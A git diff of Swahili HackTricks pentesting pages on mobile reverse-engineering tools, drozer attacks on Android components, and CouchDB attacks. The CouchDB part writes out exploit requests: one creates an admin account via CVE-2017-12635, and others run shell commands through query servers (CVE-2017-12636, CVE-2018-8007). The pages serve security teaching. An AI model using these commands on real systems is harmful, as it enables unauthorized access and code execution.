**MARA** ni **M**obile **A**pplication **R**everse engineering na **A**nalysis Framework. Ni chombo kinachokusanya zana zinazotumika mara kwa mara za uhandisi wa nyuma na uchambuzi wa programu za simu, kusaidia katika kupima programu za simu dhidi ya vitisho vya usalama wa simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa programu za simu na wataalamu wa usalama.
**MARA** ni **M**obile **A**pplication **R**everse engineering na **A**nalysis Framework. Ni chombo ambacho kinaweka pamoja zana zinazotumika mara kwa mara za uhandisi wa nyuma na uchambuzi wa programu za simu, kusaidia katika kupima programu za simu dhidi ya vitisho vya usalama wa simu vya OWASP. Lengo lake ni kufanya kazi hii iwe rahisi na rafiki kwa watengenezaji wa programu za simu na wataalamu wa usalama.
Inauwezo wa:
Inaweza:
- Kutolewa kwa msimbo wa Java na Smali kwa kutumia zana tofauti
- Kutolewa Java na Smali code kwa kutumia zana tofauti
- Kuchambua APKs kwa kutumia: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Kutolewa kwa taarifa za kibinafsi kutoka kwa APK kwa kutumia regexps.
- Kutolewa taarifa za kibinafsi kutoka kwa APK kwa kutumia regexps.
- Kuchambua Manifest.
- Kuchambua maeneo yaliyopatikana kwa kutumia: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) na [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Kuondoa obfuscation ya APK kupitia [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
Inafaida kugundua malware: [https://koodous.com/](https://koodous.com)
Inatumika kugundua malware: [https://koodous.com/](https://koodous.com)
## Obfuscating/Deobfuscating code
@ -678,7 +678,7 @@ Kumbuka kwamba kulingana na huduma na usanidi unayotumia kuondoa obfuscation ya
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Kutoka [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** ni chombo cha amri cha chanzo wazi kinachopunguza, kuboresha na kuondoa obfuscation ya msimbo wa Java. Inaweza kuboresha bytecode pamoja na kugundua na kuondoa maagizo yasiyotumika. ProGuard ni programu ya bure na inasambazwa chini ya GNU General Public License, toleo la 2.
Kutoka [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** ni chombo cha amri cha chanzo wazi ambacho kinapunguza, kinaboresha na kinatoa obfuscation kwa Java code. Inaweza kuboresha bytecode pamoja na kugundua na kuondoa maagizo yasiyotumika. ProGuard ni programu ya bure na inasambazwa chini ya GNU General Public License, toleo la 2.
ProGuard inasambazwa kama sehemu ya Android SDK na inafanya kazi wakati wa kujenga programu katika hali ya kutolewa.
@ -686,13 +686,13 @@ ProGuard inasambazwa kama sehemu ya Android SDK na inafanya kazi wakati wa kujen
Pata mwongozo wa hatua kwa hatua wa kuondoa obfuscation ya apk katika [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(Kutoka kwa mwongozo huo) Mara ya mwisho tulipokagua, hali ya uendeshaji ya Dexguard ilikuwa:
(Kutoka mwongozo huo) Mara ya mwisho tulipoangalia, hali ya uendeshaji ya Dexguard ilikuwa:
- kupakia rasilimali kama InputStream;
- kutoa matokeo kwa darasa linalorithi kutoka FilterInputStream ili kuyafungua;
- kufanya obfuscation isiyo na maana ili kupoteza dakika chache za muda kutoka kwa mhandisi wa nyuma;
- kutoa matokeo yaliyofunguliwa kwa ZipInputStream ili kupata faili ya DEX;
- hatimaye kupakia DEX inayotokana kama Rasilimali kwa kutumia njia ya `loadDex`.
- pakua rasilimali kama InputStream;
- peleka matokeo kwa darasa linalorithi kutoka FilterInputStream ili kuifungua;
- fanya obfuscation isiyo na maana ili kupoteza dakika chache za wakati kutoka kwa mhandisi wa nyuma;
- peleka matokeo yaliyofunguliwa kwa ZipInputStream ili kupata faili ya DEX;
- hatimaye pakua DEX inayotokana kama Rasilimali kwa kutumia njia ya `loadDex`.
### [DeGuard](http://apk-deguard.com)
@ -702,15 +702,15 @@ Unaweza kupakia APK iliyokuwa obfuscated kwenye jukwaa lao.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
Hii ni zana ya LLM kutafuta udhaifu wowote wa usalama katika programu za android na kuondoa obfuscation ya msimbo wa programu za android. Inatumia API ya umma ya Gemini ya Google.
Hii ni zana ya LLM ya kutafuta udhaifu wowote wa usalama katika programu za android na kuondoa obfuscation ya msimbo wa programu za android. Inatumia API ya umma ya Gemini ya Google.
### [Simplify](https://github.com/CalebFenton/simplify)
Ni **deobfuscator ya android ya jumla.** Simplify **inatekeleza programu kwa karibu** ili kuelewa tabia yake na kisha **jaribu kuboresha msimbo** ili iwe na tabia sawa lakini iwe rahisi kwa binadamu kuelewa. Kila aina ya kuboresha ni rahisi na ya jumla, hivyo haijalishi ni aina gani maalum ya obfuscation inayotumika.
Ni **deobfuscator ya android ya jumla.** Simplify **inatekeleza programu kwa karibu** ili kuelewa tabia yake na kisha **inajaribu kuboresha msimbo** ili iwe na tabia sawa lakini iwe rahisi kwa binadamu kuelewa. Kila aina ya kuboresha ni rahisi na ya jumla, hivyo haijalishi ni aina gani maalum ya obfuscation inayotumika.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua **kompila**, **pakka**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android.
APKiD inakupa taarifa kuhusu **jinsi APK ilivyotengenezwa**. Inatambua **kompila**, **packers**, **obfuscators**, na vitu vingine vya ajabu. Ni [_PEiD_](https://www.aldeid.com/wiki/PEiD) kwa Android.
### Manual

View File

@ -2,8 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
## APKs to test
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (kutoka mrwlabs)
@ -19,7 +17,7 @@ pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
Pakua na usakinishe drozer APK kutoka kwa [toleo la hivi karibuni](https://github.com/mwrlabs/drozer/releases). Wakati huu ni [hii](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
Pakua na sakinisha drozer APK kutoka kwa [toleo la hivi karibuni](https://github.com/mwrlabs/drozer/releases). Wakati huu ni [hii](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
```bash
adb install drozer.apk
```
@ -29,7 +27,7 @@ Agent inafanya kazi kwenye bandari 31415, tunahitaji [port forward](https://en.w
```bash
adb forward tcp:31415 tcp:31415
```
Hatimaye, **anzisha** **programu** na bonyeza kitufe "**ON**"
Hatimaye, **anzisha** **programu** na bonyeza chini "**ON**"
![](<../../../images/image (459).png>)
@ -130,7 +128,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### Watoa Maudhui
Post hii ilikuwa kubwa sana kuwepo hapa hivyo **unaweza** [**kuipata kwenye ukurasa wake hapa**](exploiting-content-providers.md).
Post hii ilikuwa kubwa sana kuwa hapa hivyo **unaweza** [**kuipata kwenye ukurasa wake hapa**](exploiting-content-providers.md).
### Huduma
@ -138,7 +136,7 @@ Huduma iliyosafirishwa inatangazwa ndani ya Manifest.xml:
```html
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
Ndani ya msimbo **angalia** kazi ya \*\*`handleMessage`\*\* ambayo itapokea **ujumbe**:
Ndani ya msimbo **angalia** kwa **`handleMessage`** kazi ambayo itapokea **ujumbe**:
![](<../../../images/image (82).png>)
@ -164,7 +162,7 @@ Angalia msaada wa **drozer** kwa `app.service.send`:
![](<../../../images/image (1079).png>)
Kumbuka kwamba utaanza kutuma data ndani ya "_msg.what_", kisha "_msg.arg1_" na "_msg.arg2_", unapaswa kuangalia ndani ya msimbo **ni taarifa gani inatumika** na wapi.\
Kwa kutumia chaguo `--extra` unaweza kutuma kitu kinachofasiriwa na "_msg.replyTo"_, na kwa kutumia `--bundle-as-obj` unaunda kitu na maelezo yaliyotolewa.
Kwa kutumia chaguo `--extra` unaweza kutuma kitu kinachofasiriwa na "_msg.replyTo_", na kwa kutumia `--bundle-as-obj` unaunda kitu na maelezo yaliyotolewa.
Katika mfano ufuatao:
@ -177,13 +175,13 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
```
![](<../../../images/image (647).png>)
### Broadcast Receivers
### Vipokeaji vya Matangazo
**Katika sehemu ya taarifa za msingi za Android unaweza kuona ni nini Broadcast Receiver**.
**Katika sehemu ya msingi ya taarifa za Android unaweza kuona ni nini Vipokeaji vya Matangazo**.
Baada ya kugundua Broadcast Receivers hizi unapaswa **kuangalia msimbo** wao. Zingatia kwa makini **`onReceive`** kazi kwani itakuwa inashughulikia ujumbe uliopokelewa.
Baada ya kugundua Vipokeaji hivi vya Matangazo unapaswa **kuangalia msimbo** wao. Zingatia kwa makini kazi ya **`onReceive`** kwani itakuwa inashughulikia ujumbe unaopokelewa.
#### **Gundua zote** broadcast receivers
#### **Gundua** vipokeaji vyote vya matangazo
```bash
run app.broadcast.info #Detects all
```
@ -208,7 +206,7 @@ Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
```
#### Matendo ya **Mawasiliano**
#### Matukio ya **Kuhamisha**
```bash
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
@ -228,14 +226,14 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
```
### Is debuggeable
A prodduction APK should never be debuggeable.\
Hii inamaanisha kwamba unaweza **kuunganisha java debugger** kwenye programu inayotembea, kuichunguza wakati wa utekelezaji, kuweka breakpoints, kwenda hatua kwa hatua, kukusanya thamani za mabadiliko na hata kuzibadilisha. [InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code.
APK ya uzalishaji haitakiwi kamwe kuwa debuggable.\
Hii inamaanisha kwamba unaweza **kuunganisha java debugger** kwenye programu inayotembea, kuichunguza wakati wa utekelezaji, kuweka breakpoints, kwenda hatua kwa hatua, kukusanya thamani za mabadiliko na hata kuzibadilisha. [InfoSec institute ina makala bora](../exploiting-a-debuggeable-applciation.md) kuhusu kuchimba zaidi wakati programu yako ni debuggable na kuingiza msimbo wa wakati wa utekelezaji.
When an application is debuggable, it will appear in the Manifest:
Wakati programu ni debuggable, itaonekana katika Manifest:
```xml
<application theme="@2131296387" debuggable="true"
```
Unaweza kupata programu zote zinazoweza kudebugiwa kwa kutumia **Drozer**:
Unaweza kupata programu zote zinazoweza kufanyiwa debug na **Drozer**:
```bash
run app.package.debuggable
```

View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
## **Taarifa za Msingi**
## **Basic Information**
**CouchDB** ni hifadhidata yenye uwezo na inayoweza kubadilika ambayo inaratibu data kwa kutumia muundo wa **ramani ya funguo-thamani** ndani ya kila **document**. Sehemu ndani ya document zinaweza kuwakilishwa kama **funguo/maadili, orodha, au ramani**, ikitoa kubadilika katika uhifadhi na upatikanaji wa data.
**CouchDB** ni hifadhidata yenye uwezo na inayoweza kubadilika ambayo inaratibu data kwa kutumia muundo wa **key-value map** ndani ya kila **document**. Sehemu ndani ya hati zinaweza kuwakilishwa kama **key/value pairs, lists, au maps**, zikitoa kubadilika katika uhifadhi na upatikanaji wa data.
Kila **document** iliyohifadhiwa katika CouchDB inapewa **kitambulisho cha kipekee** (`_id`) katika ngazi ya document. Zaidi ya hayo, kila marekebisho yaliyofanywa na kuhifadhiwa kwenye hifadhidata yanapewa **nambari ya marekebisho** (`_rev`). Nambari hii ya marekebisho inaruhusu **kufuatilia na kusimamia mabadiliko** kwa ufanisi, ikirahisisha upatikanaji na usawazishaji wa data ndani ya hifadhidata.
Kila **document** iliyohifadhiwa katika CouchDB inapewa **identifier ya kipekee** (`_id`) katika kiwango cha hati. Aidha, kila mabadiliko yaliyofanywa na kuhifadhiwa kwenye hifadhidata yanapewa **nambari ya marekebisho** (`_rev`). Nambari hii ya marekebisho inaruhusu **kufuatilia na kusimamia mabadiliko** kwa ufanisi, ikirahisisha upatikanaji na usawazishaji wa data ndani ya hifadhidata.
**Bandari ya kawaida:** 5984(http), 6984(https)
**Default port:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
@ -30,28 +30,28 @@ Hii inatoa ombi la GET kwa mfano wa CouchDB uliofungwa. Jibu linapaswa kuonekana
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
> [!NOTE]
> Kumbuka kwamba ikiwa unapata mizizi ya couchdb unapata `401 Unauthorized` na kitu kama hiki: `{"error":"unauthorized","reason":"Authentication required."}` **hutaweza kufikia** bendera au kiunganishi kingine chochote.
> Kumbuka kwamba ikiwa unapata `401 Unauthorized` unapofikia mzizi wa couchdb na kitu kama hiki: `{"error":"unauthorized","reason":"Authentication required."}` **hutaweza kufikia** bendera au kiunganishi kingine chochote.
### Info Enumeration
Hizi ndizo kiunganishi ambapo unaweza kufikia kwa ombi la **GET** na kutoa taarifa za kuvutia. Unaweza kupata [**kiunganishi zaidi na maelezo ya kina katika nyaraka za couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
Hizi ni kiunganishi ambacho unaweza kufikia kwa ombi la **GET** na kutoa taarifa za kuvutia. Unaweza kupata [**kiunganishi zaidi na maelezo ya kina katika nyaraka za couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
- **`/_active_tasks`** Orodha ya kazi zinazofanyika, ikiwa ni pamoja na aina ya kazi, jina, hali na kitambulisho cha mchakato.
- **`/_all_dbs`** Inarudisha orodha ya hifadhidata zote katika mfano wa CouchDB.
- \*\*`/_cluster_setup`\*\* Inarudisha hali ya node au klasta, kulingana na msaidizi wa usanidi wa klasta.
- **`/_cluster_setup`** Inarudisha hali ya node au klasta, kulingana na msaidizi wa usanidi wa klasta.
- **`/_db_updates`** Inarudisha orodha ya matukio yote ya hifadhidata katika mfano wa CouchDB. Uwepo wa hifadhidata ya `_global_changes` unahitajika kutumia kiunganishi hiki.
- **`/_membership`** Inaonyesha nodes ambazo ni sehemu ya klasta kama `cluster_nodes`. Sehemu `all_nodes` inaonyesha nodes zote ambazo node hii inazijua, ikiwa ni pamoja na zile ambazo ni sehemu ya klasta.
- **`/_scheduler/jobs`** Orodha ya kazi za nakala. Maelezo ya kila kazi yatakuwa na taarifa za chanzo na lengo, kitambulisho cha nakala, historia ya tukio la hivi karibuni, na mambo mengine machache.
- **`/_membership`** Inaonyesha nodes ambazo ni sehemu ya klasta kama `cluster_nodes`. Sehemu ya `all_nodes` inaonyesha nodes zote ambazo node hii inazijua, ikiwa ni pamoja na zile ambazo ni sehemu ya klasta.
- **`/_scheduler/jobs`** Orodha ya kazi za nakala. Maelezo ya kila kazi yatakuwa na taarifa za chanzo na lengo, kitambulisho cha nakala, historia ya matukio ya hivi karibuni, na mambo mengine machache.
- **`/_scheduler/docs`** Orodha ya hali za hati za nakala. Inajumuisha taarifa kuhusu hati zote, hata katika hali za `completed` na `failed`. Kwa kila hati inarudisha kitambulisho cha hati, hifadhidata, kitambulisho cha nakala, chanzo na lengo, na taarifa nyingine.
- **`/_scheduler/docs/{replicator_db}`**
- **`/_scheduler/docs/{replicator_db}/{docid}`**
- **`/_node/{node-name}`** Kiunganishi `/_node/{node-name}` kinaweza kutumika kuthibitisha jina la node ya Erlang ya seva inayoshughulikia ombi. Hii ni muhimu zaidi unapofikia `/_node/_local` ili kupata taarifa hii.
- **`/_node/{node-name}/_stats`** Rasilimali `_stats` inarudisha kitu cha JSON kinachojumuisha takwimu za seva inayofanya kazi. Mstari halisi `_local` hutumikia kama jina mbadala kwa jina la node ya ndani, hivyo kwa URL zote za takwimu, `{node-name}` inaweza kubadilishwa na `_local`, ili kuingiliana na takwimu za node ya ndani.
- **`/_node/{node-name}/_system`** Rasilimali \_system inarudisha kitu cha JSON kinachojumuisha takwimu mbalimbali za kiwango cha mfumo kwa seva inayofanya kazi\_.\_ Unaweza kutumia \_\_`_local` kama {node-name} kupata taarifa za sasa za node.
- **`/_node/{node-name}`** Kiunganishi cha `/_node/{node-name}` kinaweza kutumika kuthibitisha jina la node ya Erlang ya seva inayoshughulikia ombi. Hii ni muhimu zaidi unapofikia `/_node/_local` ili kupata taarifa hii.
- **`/_node/{node-name}/_stats`** Rasilimali ya `_stats` inarudisha kitu cha JSON kinachojumuisha takwimu za seva inayofanya kazi. Mstari halisi `_local` hutumikia kama jina la badala kwa jina la node ya ndani, hivyo kwa URL zote za takwimu, `{node-name}` inaweza kubadilishwa na `_local`, ili kuingiliana na takwimu za node ya ndani.
- **`/_node/{node-name}/_system`** Rasilimali ya \_system inarudisha kitu cha JSON kinachojumuisha takwimu mbalimbali za kiwango cha mfumo kwa seva inayofanya kazi\_.\_ Unaweza kutumia \_\_`_local` kama {node-name} kupata taarifa za node ya sasa.
- **`/_node/{node-name}/_restart`**
- **`/_up`** Inathibitisha kwamba seva iko juu, inafanya kazi, na tayari kujibu maombi. Ikiwa [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) ni `true` au `nolb`, kiunganishi kitarejesha jibu la 404.
- \*\*`/_uuids`\*\* Inahitaji kitambulisho kimoja au zaidi cha Kipekee Duniani (UUIDs) kutoka kwa mfano wa CouchDB.
- \*\*`/_reshard`\*\* Inarudisha idadi ya kazi zilizokamilika, zilizoshindwa, zinazofanya kazi, zilizositishwa, na jumla pamoja na hali ya upya wa klasta.
- **`/_up`** Inathibitisha kwamba seva iko juu, inafanya kazi, na iko tayari kujibu maombi. Ikiwa [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) ni `true` au `nolb`, kiunganishi kitarejesha jibu la 404.
- **`/_uuids`** Inahitaji kitambulisho kimoja au zaidi cha Kipekee Duniani (UUIDs) kutoka kwa mfano wa CouchDB.
- **`/_reshard`** Inarudisha hesabu ya kazi zilizokamilika, zilizoshindwa, zinazofanyika, zilizositishwa, na jumla pamoja na hali ya upya wa klasta.
Taarifa zaidi za kuvutia zinaweza kutolewa kama ilivyoelezwa hapa: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
@ -63,9 +63,9 @@ Ikiwa ombi hilo **linajibu na 401 isiyoidhinishwa**, basi unahitaji **vithibitis
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Ili kupata Credentials halali unaweza **jaribu** [**kuvunjavunja huduma**](../generic-hacking/brute-force.md#couchdb).
Ili kupata Credentials halali unaweza **jaribu** [**kuvunjia huduma nguvu**](../generic-hacking/brute-force.md#couchdb).
Hii ni **mfano** wa **jibu** la couchdb unapokuwa na **mamlaka ya kutosha** ya kuorodhesha hifadhidata (Ni orodha tu ya dbs):
Hii ni **mfano** wa **jibu** la couchdb unapokuwa na **mamlaka ya kutosha** ya kuorodhesha hifadhidata (Ni orodha tu ya hifadhidata):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
@ -78,9 +78,9 @@ curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Orodha ya Nyaraka**
### **Orodha ya Hati**
Orodha kila kipengee ndani ya hifadhidata
Orodha kila kipengee ndani ya database
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
@ -106,7 +106,7 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
```
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Shukrani kwa tofauti kati ya parsers za Erlang na JavaScript JSON unaweza **kuunda mtumiaji wa admin** mwenye akauti `hacktricks:hacktricks` kwa ombi lifuatalo:
Shukrani kwa tofauti kati ya parsers za JSON za Erlang na JavaScript unaweza **kuunda mtumiaji wa admin** mwenye akauti `hacktricks:hacktricks` kwa ombi lifuatalo:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
@ -118,22 +118,22 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
Mfano [kutoka hapa](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Katika nyaraka za CouchDB, hasa katika sehemu inayohusiana na usanidi wa klasta ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), matumizi ya bandari na CouchDB katika hali ya klasta yanajadiliwa. Inatajwa kwamba, kama katika hali ya pekee, bandari `5984` inatumika. Aidha, bandari `5986` ni kwa APIs za node-local, na muhimu zaidi, Erlang inahitaji bandari ya TCP `4369` kwa ajili ya Erlang Port Mapper Daemon (EPMD), ikirahisisha mawasiliano ya node ndani ya klasta ya Erlang. Usanidi huu unaunda mtandao ambapo kila node inahusishwa na kila node nyingine.
Katika nyaraka za CouchDB, hasa katika sehemu inayohusiana na usanidi wa klasta ([kiungo](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), matumizi ya bandari na CouchDB katika hali ya klasta yanajadiliwa. Inasemekana kwamba, kama katika hali ya pekee, bandari `5984` inatumika. Aidha, bandari `5986` ni kwa APIs za node-local, na muhimu zaidi, Erlang inahitaji bandari ya TCP `4369` kwa ajili ya Erlang Port Mapper Daemon (EPMD), inayowezesha mawasiliano ya node ndani ya klasta ya Erlang. Usanidi huu unaunda mtandao ambapo kila node inahusishwa na kila node nyingine.
Taarifa muhimu ya usalama inasisitizwa kuhusu bandari `4369`. Ikiwa bandari hii itapatikana kupitia Mtandao au mtandao wowote usioaminika, usalama wa mfumo unategemea sana kitambulisho cha kipekee kinachojulikana kama "keki." Keki hii inafanya kazi kama kinga. Kwa mfano, katika orodha fulani ya michakato, keki inayoitwa "monster" inaweza kuonekana, ikionyesha jukumu lake katika mfumo wa usalama wa mfumo.
Taarifa muhimu ya usalama inasisitizwa kuhusu bandari `4369`. Ikiwa bandari hii itapatikana kupitia Mtandao au mtandao wowote usioaminika, usalama wa mfumo unategemea sana kitambulisho cha kipekee kinachojulikana kama "keki." Keki hii inafanya kazi kama kinga. Kwa mfano, katika orodha fulani ya michakato, keki iliyo na jina "monster" inaweza kuonekana, ikionyesha jukumu lake katika mfumo wa usalama wa mfumo.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Kwa wale wanaovutiwa na kuelewa jinsi "keki" hii inaweza kutumika kwa ajili ya Remote Code Execution (RCE) ndani ya muktadha wa mifumo ya Erlang, sehemu maalum inapatikana kwa ajili ya kusoma zaidi. Inabainisha mbinu za kutumia keki za Erlang kwa njia zisizoidhinishwa ili kupata udhibiti juu ya mifumo. Unaweza [**kuchunguza mwongozo wa kina juu ya kutumia keki za Erlang kwa RCE hapa**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
Kwa wale wanaovutiwa na kuelewa jinsi "keki" hii inaweza kutumika kwa ajili ya Remote Code Execution (RCE) ndani ya muktadha wa mifumo ya Erlang, sehemu maalum inapatikana kwa ajili ya kusoma zaidi. Inabainisha mbinu za kutumia keki za Erlang kwa njia zisizoidhinishwa ili kupata udhibiti wa mifumo. Unaweza [**kuchunguza mwongozo wa kina juu ya kutumia keki za Erlang kwa RCE hapa**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
### **Kutatua CVE-2018-8007 kupitia Marekebisho ya local.ini**
Mfano [kutoka hapa](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Uthibitisho wa hivi karibuni wa udhaifu, CVE-2018-8007, unaoathiri Apache CouchDB ulifanyiwa uchambuzi, ukionyesha kuwa matumizi yanahitaji ruhusa za kuandika kwenye faili `local.ini`. Ingawa si moja kwa moja inatumika kwa mfumo wa lengo la awali kutokana na vizuizi vya usalama, marekebisho yalifanywa ili kutoa ufikiaji wa kuandika kwenye faili `local.ini` kwa ajili ya kusoma. Hatua za kina na mifano ya msimbo zinatolewa hapa chini, zikionyesha mchakato.
Uthibitisho wa hivi karibuni wa udhaifu, CVE-2018-8007, unaoathiri Apache CouchDB ulifanyiwa uchambuzi, ukionyesha kwamba matumizi yanahitaji ruhusa za kuandika kwenye faili `local.ini`. Ingawa si moja kwa moja inatumika kwa mfumo wa lengo la awali kutokana na vizuizi vya usalama, marekebisho yalifanywa ili kutoa ufikiaji wa kuandika kwenye faili `local.ini` kwa ajili ya uchunguzi. Hatua za kina na mifano ya msimbo zinatolewa hapa chini, zikionyesha mchakato.
Kwanza, mazingira yanaandaliwa kwa kuhakikisha faili `local.ini` inaweza kuandikwa, ikithibitishwa kwa kuorodhesha ruhusa:
```bash
@ -166,15 +166,15 @@ root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Uchunguzi huu unathibitisha uwezekano wa unyakuzi wa CVE-2018-8007 chini ya hali maalum, hasa hitaji la ufikiaji wa kuandika kwenye faili `local.ini`. Mifano ya msimbo iliyotolewa na hatua za utaratibu zinatoa mwongozo wazi wa kuiga unyakuzi katika mazingira yaliyodhibitiwa.
Uchunguzi huu unathibitisha uwezekano wa unyakuzi wa CVE-2018-8007 chini ya hali maalum, hasa hitaji la ufikiaji wa kuandika kwenye faili ya `local.ini`. Mifano ya msimbo iliyotolewa na hatua za utaratibu zinatoa mwongozo wazi wa kurudia unyakuzi katika mazingira yaliyodhibitiwa.
Kwa maelezo zaidi kuhusu CVE-2018-8007, rejea kwenye taarifa ya mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
Kwa maelezo zaidi kuhusu CVE-2018-8007, rejelea taarifa kutoka mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Kuchunguza CVE-2017-12636 na Ruhusa za Kuandika kwenye local.ini**
Mfano [kutoka hapa](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Ukiukaji unaojulikana kama CVE-2017-12636 ulifanyiwa uchunguzi, ambao unaruhusu utekelezaji wa msimbo kupitia mchakato wa CouchDB, ingawa usanidi maalum unaweza kuzuia unyakuzi wake. Licha ya marejeleo mengi ya Ushahidi wa Dhihirisho (POC) yanayopatikana mtandaoni, marekebisho yanahitajika ili kuweza kutumia ukiukaji huu kwenye toleo la CouchDB 2, tofauti na toleo linalolengwa mara nyingi la 1.x. Hatua za awali zinajumuisha kuthibitisha toleo la CouchDB na kuthibitisha kutokuwepo kwa njia ya seva za uchunguzi zinazotarajiwa:
Ukiukaji unaojulikana kama CVE-2017-12636 ulifanyiwa uchunguzi, ambao unaruhusu utekelezaji wa msimbo kupitia mchakato wa CouchDB, ingawa usanidi maalum unaweza kuzuia unyakuzi wake. Licha ya marejeleo mengi ya Ushahidi wa Dhana (POC) yanayopatikana mtandaoni, marekebisho yanahitajika ili kunyakuzi ukiukaji huu kwenye toleo la CouchDB 2, tofauti na toleo linalolengwa mara nyingi 1.x. Hatua za awali zinajumuisha kuthibitisha toleo la CouchDB na kuthibitisha kutokuwepo kwa njia ya seva za uchunguzi zinazotarajiwa:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
@ -193,7 +193,7 @@ Uchunguzi zaidi ulibaini matatizo ya ruhusa na faili ya `local.ini`, ambayo haik
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Majaribio ya baadaye ya kuongeza seva ya uchunguzi yalifanikiwa, kama inavyoonyeshwa na ukosefu wa ujumbe wa makosa katika jibu. Marekebisho ya mafanikio ya faili `local.ini` yalithibitishwa kupitia kulinganisha faili:
Majaribio ya baadaye ya kuongeza seva ya uchunguzi yalifanikiwa, kama inavyoonyeshwa na ukosefu wa ujumbe wa makosa katika jibu. Marekebisho ya mafanikio ya faili ya `local.ini` yalithibitishwa kupitia kulinganisha faili:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
@ -212,7 +212,7 @@ A [**muhtasari**](https://github.com/carlospolop/hacktricks/pull/116/commits/e50
- `port:5984 couchdb`
## Marejeo
## Marejeleo
- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
